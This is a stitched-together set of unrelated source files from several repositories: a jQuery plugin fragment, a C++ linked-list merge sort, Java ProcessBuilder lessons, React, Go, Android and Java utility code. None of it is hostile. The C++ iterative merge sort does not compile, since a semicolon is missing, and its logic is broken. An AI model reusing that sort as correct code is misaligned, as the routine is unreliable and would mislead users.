element.textOverflow($.extend({}, o, { autoUpdate: false}));
originalWidth = element.width();
}
};
element.after(clone.hide().css({
'position': 'absolute',
'width': 'auto',
'overflow': 'visible',
'max-width': 'inherit',
'min-width': 'inherit'
}));
if (clone.width() > originalWidth) {
while (low < high) {
mid = Math.floor(low + ((high - low) / 2));
clone.empty().append(domSplit(originalElement.get(0), mid, o)).append(o.str);
if (clone.width() < originalWidth) {
low = mid + 1;
} else {
high = mid;
}
}
if (low < originalText.length) {
element.empty().append(domSplit(originalElement.get(0), low - 1, o)).append(o.str);
if (o.title) {
element.attr('title', originalText);
}
if (o.className) {
element.addClass(o.className);
}
}
}
clone.remove();
if (o.autoUpdate) {
setInterval(reflow, 200);
}
});
} else {
return this;
}
}
});
}(jQuery));
|
jocodoma/coding-interview-prep | Algorithms/Sorting/MergeSort/merge_sort_linked_list.cpp | <gh_stars>0
#include <iostream>
using namespace std;
struct ListNode{
int val;
ListNode *next;
ListNode() : val(0), next(nullptr){}
ListNode(int x) : val(x), next(nullptr){}
ListNode(int x, ListNode* next) : val(x), next(next){}
};
class Solution{
public:
Solution(){}
void mergeSort_recursive(ListNode** headNode){
ListNode *head = *headNode;
ListNode *a, *b;
// base case
if(!head || !head->next)
return;
// split the list into two halves, a and b
frontBackSplit(head, &a, &b);
// recursively split each sublist
mergeSort_recursive(&a);
mergeSort_recursive(&b);
// sort and merge two sublists
*headNode = merge(a, b);
}
void mergeSort_iterative(ListNode** headNode){
ListNode *head = *headNode;
if(!head || !head->next)
return;
// find length of list
int n = findLength(head);
// divide list into sublist of size sz
// sz = 1, i = 0, 2, 4, 6, 8, 16, ..
// sz = 2, i = 0, 4, 8, 12, 16, ...
// sz = 4, i = 0, 8, 16, ...
for(int sz = 1; sz < n; sz *= 2){ // size of subarray
// for(int i = 0; i < n-sz; i += sz*2){ // number of subarrays
// // find ending point of left subarray
// // (sz+1) is starting point of right
// int l = i;
// int m = i + sz - 1;
// int r = std::min(i + sz*2 - 1, n-1); // (n-1) will be chosen if remain elements are fewer than (m*2)
// merge(nums, l, m, r);
// }
ListNode *curr = head;
while(curr){
// split the sublist into two halves (sz is mid point)
ListNode *l1 = curr;
ListNode *l2 = curr;
traverseTo(&l2, sz);
if(!l2)
l2 = curr;
// merge
if(l1 != l2)
curr = merge_iterative2(l1, l2, sz);
// move to next sublist
traverseTo(&curr, sz*2);
}
if(sz == 2)
break;
}
}
ListNode* merge_iterative2(ListNode* l1, ListNode* l2, int sz){
ListNode dummyHead(0);
ListNode *curr = &dummyHead;
while(sz > 0){
while(l1 && l2){
if(l1->val < l2->val){
curr->next = l1;
l1 = l1->next;
curr = curr->next;
}
else{
curr->next = l2;
l2 = l2->next;
curr = curr->next;
}
}
sz--;
}
curr->next = l1
return dummyHead.next;
}
void traverseTo(ListNode** head, int num){
ListNode *curr = *head;
while(curr && num > 0){
curr = curr->next;
num--;
}
*head = curr;
}
private:
void frontBackSplit(ListNode* currHead, ListNode** frontHead, ListNode** backHead){
ListNode *slow, *fast;
slow = currHead;
fast = currHead->next;
while(fast){
fast = fast->next;
if(fast){
fast = fast->next;
slow = slow->next;
}
}
// slow should be before or at the midpoint in the list
*frontHead = currHead;
*backHead = slow->next;
slow->next = nullptr;
}
ListNode* merge(ListNode* l1, ListNode* l2){
return merge_recursive(l1, l2);
// return merge_iterative(l1, l2);
}
ListNode* merge_recursive(ListNode* l1, ListNode* l2){
ListNode dummyHead(0); // to avoid potential memory leak
ListNode *node = &dummyHead;
// base case
if(!l1)
return l2;
if(!l2)
return l1;
// pick either l1 or l2
if(l1->val < l2->val){
node->next = l1;
node = node->next;
node->next = merge_recursive(l1->next, l2);
}
else{
node->next = l2;
node = node->next;
node->next = merge_recursive(l1, l2->next);
}
return dummyHead.next;
}
ListNode* merge_iterative(ListNode* l1, ListNode* l2){
ListNode dummyHead(0);
ListNode *node = &dummyHead;
// while(l1 && l2){
// if(l1->val < l2->val){
// node->next = l1;
// l1 = l1->next;
// node = node->next;
// }
// else{
// node->next = l2;
// l2 = l2->next;
// node = node->next;
// }
// }
while(l1 && l2){
ListNode *&nextNode = (l1->val < l2->val) ? l1 : l2;
node->next = nextNode;
nextNode = nextNode->next;
node = node->next;
}
node->next = l1 ? l1 : l2;
return dummyHead.next;
}
int findLength(ListNode* headNode){
int count = 0;
ListNode *curr = headNode;
while(curr){
count++;
curr = curr->next;
}
return count;
}
};
string printList(ListNode* head){
string str;
ListNode *node = head;
if(!node)
return str.append("Empty");
str.append("(");
while(node){
str.append(std::to_string(node->val));
if(node->next)
str.append("->");
node = node->next;
}
str.append(")");
return str;
}
void deleteList(ListNode** head){
ListNode *curr = *head;
ListNode *next;
while(curr){
next = curr->next;
delete curr;
curr = next;
}
*head = nullptr;
}
int main(){
// create a unsorted linked lists to test the functions
// created lists shall be a: 2->3->20->5->10->15
ListNode *l = new ListNode(2, new ListNode(3, new ListNode(20, new ListNode(5, new ListNode(10, new ListNode(15))))));
cout << "Given linked list is " << printList(l) << "\n";
Solution sol;
// sol.mergeSort_recursive(&l);
sol.mergeSort_iterative(&l);
//cout << "Sorted linked list is " << printList(l) << "\n";
deleteList(&l);
return 0;
}
|
pengfei99/JavaBasic | LearningJava/src/main/java/org/pengfei/Lesson01_Java_Standard_API/S02_Exploring_Java_lang/source/ProcessBuilderExp.java | package org.pengfei.Lesson01_Java_Standard_API.S02_Exploring_Java_lang.source;
import java.io.*;
import java.util.List;
import java.util.Map;
import java.util.concurrent.*;
import java.util.stream.Collectors;
public class ProcessBuilderExp {
public static void exp1(){
ProcessBuilder processBuilder=new ProcessBuilder();
// In ping command2
// here option -n only shows the numeric ip address, string urls are discard
// -c 3 means ping will stop after sending count ECHO_REQUEST packets
String command1="pwd",
command2= "ping -n -c 3 google.com",
command3="/home/pliu/IdeaProjects/JavaBasic/LearningJava/src/main/java/org/pengfei/Lesson01_Java_Standard_API/S02_Exploring_Java_lang/source/hello.sh";
// run shell command pwd
processBuilder.command("bash", "-c", command1);
// ping
processBuilder.command("bash", "-c", command2);
// run a shell script, if you have permission denied problem. try chmod a+x
processBuilder.command(command3);
try {
Process p=processBuilder.start();
// note getInputStream of a process will block the process
BufferedReader reader= new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line=reader.readLine())!=null){
System.out.println("java: "+line);
}
// waitFor() method will let the java main process waits the called process to finish. when the called
// process finish, an exit code will be returned (0 if it finishes correctly).
int exitCode=p.waitFor();
System.out.println("\nExited with error code: "+ exitCode);
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
// redirect output to a file
public static void exp2(){
String homeDir=System.getProperty("user.home");
ProcessBuilder processBuilder=new ProcessBuilder();
processBuilder.command("bash","-c","date");
// redirect standard output to a file
File fileName = new File(String.format("%s/Documents/tmp/output.txt", homeDir));
processBuilder.redirectOutput(fileName);
try {
Process p=processBuilder.start();
} catch (IOException e) {
e.printStackTrace();
}
}
// redirect input and output, we cat the input file, as the output is a file, so it's like copy one file to another
public static void exp3(){
ProcessBuilder processBuilder=new ProcessBuilder();
try {
processBuilder.command("cat")
.redirectInput(new File("src/resources","input.txt"))
.redirectOutput(new File("src/resources","output.txt"))
.start();
} catch (IOException e) {
e.printStackTrace();
}
}
// get and set the process executing environment variables
public static void exp4(){
ProcessBuilder pb=new ProcessBuilder();
Map<String, String> env = pb.environment();
env.forEach((key,value)->{
System.out.printf("%s = %s %n", key, value);
});
// we can also only get one attribute
System.out.printf("%s %n",env.get("mode"));
// we can reset values or put new values in env, and all attributes in env can be accessed by the subprocess
// The following example, we add an attribute mode, and use subprocess bash to get the mode value.
env.put("mode","development");
pb.command("bash","-c","echo $mode");
try {
pb.inheritIO().start();
} catch (IOException e) {
e.printStackTrace();
}
}
// changing working directory
public static void exp5(){
ProcessBuilder pb=new ProcessBuilder();
pb.command("bash","-c","pwd");
// reset working directory to /tmp
pb.directory(new File("/tmp"));
try {
Process p=pb.start();
var reader=new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line=reader.readLine())!=null){
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
// ProcessBuilder non-blocking operation
public static void exp6(){
// we use executor to run the process
ExecutorService executor = Executors.newSingleThreadExecutor();
ProcessBuilder pb = new ProcessBuilder();
pb.command("bash","-c", "ping -n -c 3 google.com");
try{
Process process = pb.start();
System.out.println("processing ping command >>> ");
ProcessTask task = new ProcessTask(process.getInputStream());
Future<List<String>> future = executor.submit(task);
// non-blocking, doing other tasks, while the executor runs the task
// if blocking, the two println will wait the ping finish to run.
System.out.println("doing task1 ...");
System.out.println("doing task2 ...");
List<String> results = future.get(5, TimeUnit.SECONDS);
for(String res: results){
System.out.println(res);
}
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (ExecutionException e) {
e.printStackTrace();
} catch (TimeoutException e) {
e.printStackTrace();
}finally {
executor.shutdown();
}
}
//nested class implements Callable
private static class ProcessTask implements Callable<List<String>>{
private InputStream inputStream;
public ProcessTask(InputStream in){
this.inputStream=in;
}
@Override
public List<String> call() throws Exception {
return new BufferedReader(new InputStreamReader(inputStream)).lines().collect(Collectors.toList());
}
}
}
|
DaoCasino/sample-casino-frontend | src/Screens/Game/Components/GameQuery/index.js | <reponame>DaoCasino/sample-casino-frontend
import { connect } from 'react-redux';
import GamesActions from 'Stores/GamesStore';
import GameQuery from './GameQuery';
import { getGamesItems } from 'Stores/GamesStore/Selectors';
const mapStateToProps = (state) => ({
games: getGamesItems(state),
});
const mapDispatchToProps = (dispatch) => ({
getGames: (useCache = true) => dispatch(GamesActions.gamesRequest(useCache)),
});
export default connect(mapStateToProps, mapDispatchToProps)(GameQuery);
|
jacking75/edu_com2us_cpp20_Training | codes/mudmuhan-ReCpp20/src/board.h | <reponame>jacking75/edu_com2us_cpp20_Training
#ifndef _BOARD_H_
#define _BOARD_H_
extern object *board_obj[PMAX];
extern int board_handle[PMAX];
extern int board_handle2[PMAX];
extern long board_pos[PMAX];
extern char board_title[PMAX][44];
int look_board();
void list_board();
int writeboard();
void write_board();
int read_board();
int del_board();
#endif
|
kodreanuja/python | kthfactorOfN1.py | def KthFactorOfN(n, k):
count = 0
for i in range(1, n+ 1):
if n % i == 0:
count += 1
if count == k:
return i
return -1
n = int(input())
k = int(input())
print(KthFactorOfN(n, k)) |
emuneee/premofm | app/src/main/java/com/mainmethod/premofm/receiver/DeviceStatusReceiver.java | <filename>app/src/main/java/com/mainmethod/premofm/receiver/DeviceStatusReceiver.java<gh_stars>10-100
/*
* Copyright (c) 2014.
* Main Method Incorporated.
*/
package com.mainmethod.premofm.receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import com.mainmethod.premofm.service.DownloadService;
import com.mainmethod.premofm.service.job.DownloadJobService;
import com.mainmethod.premofm.service.job.PremoJobService;
/**
* Created by evan on 9/15/15.
*/
public class DeviceStatusReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// this method is hit if something changes with wifi connectivity and or charging requirements
// can we run the downloader
boolean downloadPermitted = DownloadService.canRunDownloadService(context);
if (downloadPermitted) {
if (!PremoJobService.isJobScheduled(context, DownloadJobService.JOB_ID)) {
DownloadJobService.scheduleEpisodeDownload(context);
}
}
// no downloads
else {
DownloadJobService.cancelScheduledEpisodeDownload(context);
Intent cancelIntent = new Intent(context, DownloadService.class);
cancelIntent.setAction(DownloadService.ACTION_CANCEL_SERVICE);
context.startService(cancelIntent);
}
}
}
|
peacemakr-io/peacemakr-go-sdk | pkg/generated/client/peacemakr_client_client.go | <filename>pkg/generated/client/peacemakr_client_client.go
// Code generated by go-swagger; DO NOT EDIT.
package client
// This file was generated by the swagger tool.
// Editing this file might prove futile when you re-run the swagger generate command
import (
"github.com/go-openapi/runtime"
httptransport "github.com/go-openapi/runtime/client"
strfmt "github.com/go-openapi/strfmt"
"github.com/peacemakr-io/peacemakr-go-sdk/pkg/generated/client/billing"
"github.com/peacemakr-io/peacemakr-go-sdk/pkg/generated/client/client"
"github.com/peacemakr-io/peacemakr-go-sdk/pkg/generated/client/crypto_config"
"github.com/peacemakr-io/peacemakr-go-sdk/pkg/generated/client/key_derivation_service_registry"
"github.com/peacemakr-io/peacemakr-go-sdk/pkg/generated/client/key_service"
"github.com/peacemakr-io/peacemakr-go-sdk/pkg/generated/client/login"
"github.com/peacemakr-io/peacemakr-go-sdk/pkg/generated/client/org"
"github.com/peacemakr-io/peacemakr-go-sdk/pkg/generated/client/phone_home"
"github.com/peacemakr-io/peacemakr-go-sdk/pkg/generated/client/server_management"
)
// Default peacemakr client HTTP client.
var Default = NewHTTPClient(nil)
const (
// DefaultHost is the default Host
// found in Meta (info) section of spec file
DefaultHost string = "api.peacemakr.io"
// DefaultBasePath is the default BasePath
// found in Meta (info) section of spec file
DefaultBasePath string = "/api/v1"
)
// DefaultSchemes are the default schemes found in Meta (info) section of spec file
var DefaultSchemes = []string{"http"}
// NewHTTPClient creates a new peacemakr client HTTP client.
func NewHTTPClient(formats strfmt.Registry) *PeacemakrClient {
return NewHTTPClientWithConfig(formats, nil)
}
// NewHTTPClientWithConfig creates a new peacemakr client HTTP client,
// using a customizable transport config.
func NewHTTPClientWithConfig(formats strfmt.Registry, cfg *TransportConfig) *PeacemakrClient {
// ensure nullable parameters have default
if cfg == nil {
cfg = DefaultTransportConfig()
}
// create transport and client
transport := httptransport.New(cfg.Host, cfg.BasePath, cfg.Schemes)
return New(transport, formats)
}
// New creates a new peacemakr client client
func New(transport runtime.ClientTransport, formats strfmt.Registry) *PeacemakrClient {
// ensure nullable parameters have default
if formats == nil {
formats = strfmt.Default
}
cli := new(PeacemakrClient)
cli.Transport = transport
cli.Billing = billing.New(transport, formats)
cli.Client = client.New(transport, formats)
cli.CryptoConfig = crypto_config.New(transport, formats)
cli.KeyDerivationServiceRegistry = key_derivation_service_registry.New(transport, formats)
cli.KeyService = key_service.New(transport, formats)
cli.Login = login.New(transport, formats)
cli.Org = org.New(transport, formats)
cli.PhoneHome = phone_home.New(transport, formats)
cli.ServerManagement = server_management.New(transport, formats)
return cli
}
// DefaultTransportConfig creates a TransportConfig with the
// default settings taken from the meta section of the spec file.
func DefaultTransportConfig() *TransportConfig {
return &TransportConfig{
Host: DefaultHost,
BasePath: DefaultBasePath,
Schemes: DefaultSchemes,
}
}
// TransportConfig contains the transport related info,
// found in the meta section of the spec file.
type TransportConfig struct {
Host string
BasePath string
Schemes []string
}
// WithHost overrides the default host,
// provided by the meta section of the spec file.
func (cfg *TransportConfig) WithHost(host string) *TransportConfig {
cfg.Host = host
return cfg
}
// WithBasePath overrides the default basePath,
// provided by the meta section of the spec file.
func (cfg *TransportConfig) WithBasePath(basePath string) *TransportConfig {
cfg.BasePath = basePath
return cfg
}
// WithSchemes overrides the default schemes,
// provided by the meta section of the spec file.
func (cfg *TransportConfig) WithSchemes(schemes []string) *TransportConfig {
cfg.Schemes = schemes
return cfg
}
// PeacemakrClient is a client for peacemakr client
type PeacemakrClient struct {
Billing *billing.Client
Client *client.Client
CryptoConfig *crypto_config.Client
KeyDerivationServiceRegistry *key_derivation_service_registry.Client
KeyService *key_service.Client
Login *login.Client
Org *org.Client
PhoneHome *phone_home.Client
ServerManagement *server_management.Client
Transport runtime.ClientTransport
}
// SetTransport changes the transport on the client and all its subresources
func (c *PeacemakrClient) SetTransport(transport runtime.ClientTransport) {
c.Transport = transport
c.Billing.SetTransport(transport)
c.Client.SetTransport(transport)
c.CryptoConfig.SetTransport(transport)
c.KeyDerivationServiceRegistry.SetTransport(transport)
c.KeyService.SetTransport(transport)
c.Login.SetTransport(transport)
c.Org.SetTransport(transport)
c.PhoneHome.SetTransport(transport)
c.ServerManagement.SetTransport(transport)
}
|
HJ-zhtw/JustEnoughItems | src/main/java/mezz/jei/plugins/vanilla/cooking/fuel/FuelRecipe.java | <gh_stars>100-1000
package mezz.jei.plugins.vanilla.cooking.fuel;
import java.text.NumberFormat;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import net.minecraft.world.item.ItemStack;
import com.google.common.base.Preconditions;
import mezz.jei.api.gui.drawable.IDrawableAnimated;
import mezz.jei.api.helpers.IGuiHelper;
import mezz.jei.config.Constants;
import net.minecraft.network.chat.Component;
import net.minecraft.network.chat.TranslatableComponent;
public class FuelRecipe {
private final List<ItemStack> inputs;
private final Component smeltCountText;
private final IDrawableAnimated flame;
public FuelRecipe(IGuiHelper guiHelper, Collection<ItemStack> input, int burnTime) {
Preconditions.checkArgument(burnTime > 0, "burn time must be greater than 0");
this.inputs = new ArrayList<>(input);
this.smeltCountText = createSmeltCountText(burnTime);
this.flame = guiHelper.drawableBuilder(Constants.RECIPE_GUI_VANILLA, 82, 114, 14, 14)
.buildAnimated(burnTime, IDrawableAnimated.StartDirection.TOP, true);
}
public List<ItemStack> getInputs() {
return inputs;
}
public Component getSmeltCountText() {
return smeltCountText;
}
public IDrawableAnimated getFlame() {
return flame;
}
public static Component createSmeltCountText(int burnTime) {
if (burnTime == 200) {
return new TranslatableComponent("gui.jei.category.fuel.smeltCount.single");
} else {
NumberFormat numberInstance = NumberFormat.getNumberInstance();
numberInstance.setMaximumFractionDigits(2);
String smeltCount = numberInstance.format(burnTime / 200f);
return new TranslatableComponent("gui.jei.category.fuel.smeltCount", smeltCount);
}
}
}
|
qvjp/INWOX | kernel/include/inwox/termios.h | <reponame>qvjp/INWOX
/** MIT License
*
* Copyright (c) 2020 - 2021 <NAME>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* kernel/include/inwox/termios.h
* Terminal I/O
*/
#ifndef INWOX_TERMIOS_H_
#define INWOX_TERMIOS_H_
// c_lflag
#define ECHO (1 << 0) // 回显输入字符到终端设备,在规范模式和非规范模式均可使用
#define ICANON (1 << 1) // 规范输入 (canonical mode),输入字符被装配成行,当一行已经输入后,终端驱动程序返回
// 或者遇到以下条件返回:
// 1. 所请求的字节数已读到时,读返回。无需读一个完整的行,如果只读了行的一部分,下次读从上一次停止处开始
// 2. 当读到一个行定界符时,读返回。
// 3. 信号
//
// 在关闭了规范输入后,系统将在读到指定量的数据或超过给定的时间后返回,包括c_cc中两个变量:VMIN、VTIME
// c_cc
#define VEOF 0 // 文件结束
#define VEOL 1 // 行结束
#define VERASE 2 // 向前擦除字符
#define VINTR 3 // 中断信号
#define VKILL 4 // 擦行
#define VMIN 5 // 读返回前最小的字节数
#define VQUIT 6 // 退出信号
#define VSTART 7 // 恢复输入
#define VSTOP 8 // 停止输入
#define VSUSP 9 // 挂起信号(SIGTSTP)
#define VTIME 10 // 等待数据到达的分秒数(1/10s)
#define NCCS 11
// tcsetattr
#define TCSAFLUSH 0
typedef unsigned char cc_t;
typedef unsigned int tcflag_t;
// 终端设备特性
struct termios {
tcflag_t c_iflag; // input flags
tcflag_t c_oflag; // output flags
tcflag_t c_cflag; // control flags
tcflag_t c_lflag; // local flags,用于修改驱动程序和用户之间的接口,例如打开回显、可视删除字符等
cc_t c_cc[NCCS]; // control characters,包含所有可以更改的特殊字符
};
#endif /* INWOX_TERMIOS_H_ */
|
zeniel/bot-apoiador-requisitante | src/main/java/dev/pje/bots/apoiadorrequisitante/utils/textModels/AprovacoesMRTextModel.java | <gh_stars>1-10
package dev.pje.bots.apoiadorrequisitante.utils.textModels;
import java.util.List;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;
import com.devplatform.model.gitlab.GitlabMergeRequestAttributes;
import com.devplatform.model.gitlab.GitlabUser;
import com.devplatform.model.jira.JiraIssue;
import com.devplatform.model.jira.JiraUser;
import com.devplatform.model.rocketchat.RocketchatUser;
import dev.pje.bots.apoiadorrequisitante.services.GitlabService;
import dev.pje.bots.apoiadorrequisitante.services.RocketchatService;
import dev.pje.bots.apoiadorrequisitante.utils.JiraUtils;
import dev.pje.bots.apoiadorrequisitante.utils.Utils;
import dev.pje.bots.apoiadorrequisitante.utils.markdown.MarkdownInterface;
@Component
public class AprovacoesMRTextModel implements AbstractTextModel {
@Value("${clients.jira.url}")
private String JIRAURL;
@Value("${project.documentation.manual-revisao-codigo}")
private String MANUAL_REVISAO_CODIGO;
@Autowired
protected RocketchatService rocketchatService;
@Autowired
protected GitlabService gitlabService;
private GitlabMergeRequestAttributes mergeRequest;
private JiraIssue issue;
private Integer aprovacoesRealizadas;
private Integer aprovacoesNecessarias;
private boolean aprovou = false;
private JiraUser ultimoRevisor;
private List<String> tribunaisRequisitantesPendentes;
private List<JiraUser> usuariosResponsaveisAprovacoes;
private String getPathIssue(String issueKey) {
return JiraUtils.getPathIssue(issueKey, JIRAURL);
}
private String getPathUserProfile(String userKey) {
return JiraUtils.getPathUserProfile(userKey, JIRAURL);
}
/**
* :: monta mensagem com as informações ::
* - qual MR e de qual issue recebeu a aprovação - quantas aprovações são necessárias e quantas já foram feitas
* - se não completou as necessárias:
* -- quais tribunais requisitantes ainda não aprovaram
* - se já completou as necessárias:
* -- indica a aprovação e quais foram as pessoas que aprovaram o MR
* **colocar um link para a documentação do grupo revisor de códigos existente em docs.pje.jus.br**
*/
/**
* <<se não for para o jira>>
* PJEV-9999 - <titulo da issue sem a sigla do tribunal>
* <<para todas as plataformas>>
* <Aprovação>
* [MR#xx/link para o merge] aprovado pelo revisor @username.revisor (aprovação <1> de <3> necessárias).
* <<se atingiu as necessárias>>
* Este MR será automaticamente integrado ao branch <develop> do projeto <nome-projeto>, de acordo com as aprovações de:
* - @revisor1
* - @revisor2
* - @revisor3
* *
* <Retirada>
* @username.revisor retirou sua aprovação do [MR#XXX/link para o merge] (há <1> aprovação de <3> necessárias).
*
*
* <<<<se há tribunais requisitantes que ainda não aprovaram>>>>
* Os tribunais TJSS, TJMM, TJDD constam como requisitantes da demanda, mas ainda não fizeram a sua homologação.
*
*/
public String convert(MarkdownInterface markdown) {
StringBuilder markdownText = new StringBuilder();
String username = getUsername(ultimoRevisor, markdown);
if(aprovacoesRealizadas == null) {
aprovacoesRealizadas = 0;
}
if(aprovacoesNecessarias == null) {
aprovacoesNecessarias = 0;
}
String referUser = markdown.referUser(username);
if (StringUtils.isBlank(referUser) || referUser.equals(username)) {
referUser = markdown.link(getPathUserProfile(username), username);
}
if(!markdown.getName().equals(MarkdownInterface.MARKDOWN_JIRA)) {
// <<se não for para o jira>>
// PJEV-9999 - <titulo da issue sem a sigla do tribunal>
markdownText
.append(markdown.link(getPathIssue(issue.getKey()), issue.getKey()))
.append(markdown.normal(" - "))
.append(markdown.normal(Utils.clearSummary(issue.getFields().getSummary())))
.append(markdown.newLine());
}
String nomeMR = "MR#" + mergeRequest.getIid().toString();
if (aprovou) {
// APROVOU O LABEL
// * [MR#xx/link para o merge] aprovado pelo revisor @username.revisor (aprovação <1> de <3> necessárias).
markdownText
.append(markdown.link(mergeRequest.getUrl(), nomeMR))
.append(" ")
.append(markdown.bold("aprovado pelo revisor"))
.append(" ")
.append(markdown.normal(referUser))
.append(" (aprovação ")
.append(aprovacoesRealizadas)
.append(" de ")
.append(aprovacoesNecessarias)
.append(" necessárias).");
} else {
// RETIROU LABEL
// @username.revisor retirou sua aprovação do [MR#XXX/link para o merge] (há <1> aprovação de <3> necessárias).
markdownText.append(markdown.normal(referUser))
.append(" ")
.append(markdown.bold("retirou sua aprovação do"))
.append(" ")
.append(markdown.link(mergeRequest.getUrl(), nomeMR))
.append(" (há ").append(aprovacoesRealizadas);
if (aprovacoesRealizadas <= 1) {
markdownText.append(" aprovação ");
} else {
markdownText.append(" aprovações ");
}
markdownText.append(" de ").append(aprovacoesNecessarias).append(" necessárias).");
}
if (aprovacoesRealizadas >= aprovacoesNecessarias) {
// ATINGIU O MÍNIMO DE APROVACOES NECESSÁRIO
String targetBranch = mergeRequest.getTargetBranch();
String nomeProjeto = issue.getFields().getProject().getName();
markdownText.append(markdown.newLine()).append("Este MR será automaticamente integrado ao branch ")
.append(targetBranch).append(" do projeto ").append(nomeProjeto)
.append(", de acordo com as aprovações de:");
if (usuariosResponsaveisAprovacoes != null) {
for (JiraUser usuarioResponsavel : usuariosResponsaveisAprovacoes) {
String usernameResponsavel = getUsername(usuarioResponsavel, markdown);
String referUserResponsaveis = markdown.referUser(usernameResponsavel);
if (StringUtils.isBlank(referUserResponsaveis)
|| referUserResponsaveis.equals(usernameResponsavel)) {
referUserResponsaveis = markdown.link(getPathUserProfile(usernameResponsavel),
usernameResponsavel);
}
markdownText.append(markdown.listItem(referUserResponsaveis));
}
}
} else if (tribunaisRequisitantesPendentes != null && !tribunaisRequisitantesPendentes.isEmpty()) {
// AINDA NÃO APROVOU O MÍNIMO E HÁ TRIBUNAIS REQUISITANTES PENDENTES
boolean isPlural = (tribunaisRequisitantesPendentes.size() > 1);
markdownText.append(markdown.newLine());
if (isPlural) {
markdownText
.append(markdown.bold(String.join(", ", tribunaisRequisitantesPendentes)))
.append(" constam como requisitantes da demanda, mas ")
.append(markdown.underline("ainda não registraram a sua homologação."));
} else {
markdownText
.append(markdown.bold(String.join(", ", tribunaisRequisitantesPendentes)))
.append(" consta como requisitante da demanda, mas ")
.append(markdown.underline("ainda não registrou a sua homologação."));
}
}
markdownText
.append(markdown.newLine())
.append(markdown.link(MANUAL_REVISAO_CODIGO, "Referência: Manual de revisão de código"));
return markdownText.toString();
}
private String getUsername(JiraUser jirauser, MarkdownInterface markdown) {
String username = null;
if (jirauser != null) {
if (markdown.getName().equals(MarkdownInterface.MARKDOWN_ROCKETCHAT)) {
if (jirauser != null) {
username = jirauser.getName();
RocketchatUser rocketUser = rocketchatService.findUser(jirauser.getEmailAddress());
if (rocketUser != null) {
username = rocketUser.getUsername();
}
}
} else if (markdown.getName().equals(MarkdownInterface.MARKDOWN_JIRA)) {
username = jirauser.getName();
} else if (markdown.getName().equals(MarkdownInterface.MARKDOWN_GITLAB)) {
if (jirauser != null) {
username = jirauser.getName();
GitlabUser gitlabUser = gitlabService.findUserByEmail(jirauser.getEmailAddress());
if (gitlabUser != null) {
username = gitlabUser.getUsername();
}
}
} else {
username = jirauser.getName();
}
}
return username;
}
public void setMergeRequest(GitlabMergeRequestAttributes mergeRequest) {
this.mergeRequest = mergeRequest;
}
public void setIssue(JiraIssue issue) {
this.issue = issue;
}
public void setAprovacoesRealizadas(Integer aprovacoesRealizadas) {
this.aprovacoesRealizadas = aprovacoesRealizadas;
}
public void setAprovacoesNecessarias(Integer aprovacoesNecessarias) {
this.aprovacoesNecessarias = aprovacoesNecessarias;
}
public void setAprovou(boolean aprovou) {
this.aprovou = aprovou;
}
public void setUltimoRevisor(JiraUser ultimoRevisor) {
this.ultimoRevisor = ultimoRevisor;
}
public void setTribunaisRequisitantesPendentes(List<String> tribunaisRequisitantesPendentes) {
this.tribunaisRequisitantesPendentes = tribunaisRequisitantesPendentes;
}
public void setUsuariosResponsaveisAprovacoes(List<JiraUser> usuariosResponsaveisAprovacoes) {
this.usuariosResponsaveisAprovacoes = usuariosResponsaveisAprovacoes;
}
} |
jiyulongxu/playwell | playwell-activity/src/main/java/playwell/message/DomainMessage.java | <reponame>jiyulongxu/playwell
package playwell.message;
/**
* DomainMessage接口用来描述已经计算出DomainID的消息
*
* @author <EMAIL>
*/
public interface DomainMessage {
String getDomainId();
}
|
grgrzybek/camel | components/camel-syslog/src/main/java/org/apache/camel/component/syslog/netty/Rfc5425Encoder.java | <filename>components/camel-syslog/src/main/java/org/apache/camel/component/syslog/netty/Rfc5425Encoder.java<gh_stars>1-10
/**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.camel.component.syslog.netty;
import java.nio.charset.Charset;
import org.jboss.netty.buffer.ChannelBuffer;
import org.jboss.netty.channel.Channel;
import org.jboss.netty.channel.ChannelHandler.Sharable;
import org.jboss.netty.channel.ChannelHandlerContext;
import org.jboss.netty.handler.codec.oneone.OneToOneEncoder;
import static org.jboss.netty.buffer.ChannelBuffers.wrappedBuffer;
@Sharable
public class Rfc5425Encoder extends OneToOneEncoder {
@Override
protected Object encode(ChannelHandlerContext ctx, Channel channel, Object msg) throws Exception {
if (!(msg instanceof ChannelBuffer)) {
return msg;
}
ChannelBuffer src = (ChannelBuffer) msg;
int length = src.readableBytes();
String headerString = length + " ";
